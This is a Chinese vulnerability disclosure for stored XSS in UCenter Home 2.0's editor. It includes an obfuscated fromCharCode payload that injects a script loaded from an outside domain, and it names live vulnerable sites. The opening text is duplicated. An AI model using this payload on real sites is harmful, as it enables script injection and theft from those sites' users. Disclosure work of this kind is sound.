### 简要描述： 以后腾讯的洞发在乌云。 ### 详细说明： 【漏洞原理】 编辑器插入视频input过滤不严，导致日志和群组模块发帖可插入代码。 【测试代码】 发帖包含以下代码： [flash]http://" onmouseover='document.body.innerHTML=String.fromCharCode(60,105,102,114,97,109,101,47,111,110,108,111,97,100,61,39,106,97,118,97,115,99,114,105,112,116,58,119,114,105,116,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,54,48,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,44,51,50,44,49,49,53,44,49,49,52,44,57,57,44,54,49,44,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,53,56,44,52,55,44,52,55,44,49,49,54,44,49,48,57,44,49,50,48,44,49,48,55,44,52,54,44,49,49,49,44,49,49,52,44,49,48,51,44,52,55,44,49,49,51,44,52,54,44,49,48,54,44,49,49,53,44,54,50,44,54,48,44,52,55,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,44,54,50,41,41,39,62)'\[/flash] 【关键字】 powered by ucenter home 2.0 ### 漏洞证明： 2.0漏洞举例： http://inqtime.com///space.php?uid=11&do=blog&id=4 [<img...
### 简要描述： 以后腾讯的洞发在乌云。 ### 详细说明： 【漏洞原理】 编辑器插入视频input过滤不严，导致日志和群组模块发帖可插入代码。 【测试代码】 发帖包含以下代码： [flash]http://" onmouseover='document.body.innerHTML=String.fromCharCode(60,105,102,114,97,109,101,47,111,110,108,111,97,100,61,39,106,97,118,97,115,99,114,105,112,116,58,119,114,105,116,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,54,48,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,44,51,50,44,49,49,53,44,49,49,52,44,57,57,44,54,49,44,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,53,56,44,52,55,44,52,55,44,49,49,54,44,49,48,57,44,49,50,48,44,49,48,55,44,52,54,44,49,49,49,44,49,49,52,44,49,48,51,44,52,55,44,49,49,51,44,52,54,44,49,48,54,44,49,49,53,44,54,50,44,54,48,44,52,55,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,44,54,50,41,41,39,62)'\[/flash] 【关键字】 powered by ucenter home 2.0 ### 漏洞证明： 2.0漏洞举例： http://inqtime.com///space.php?uid=11&do=blog&id=4 [<img src="https://images.seebug.org/upload/201209/1805071380e26ee6e6798a586981a37f959eac2b.jpg" alt="" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201209/1805071380e26ee6e6798a586981a37f959eac2b.jpg) 1.5漏洞举例： http://i.99wed.com/home/space-1068699-do-blog-id-58183.html [<img src="https://images.seebug.org/upload/201209/18050734062725587208dab48bad85740d7e9d47.jpg" alt="" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201209/18050734062725587208dab48bad85740d7e9d47.jpg)
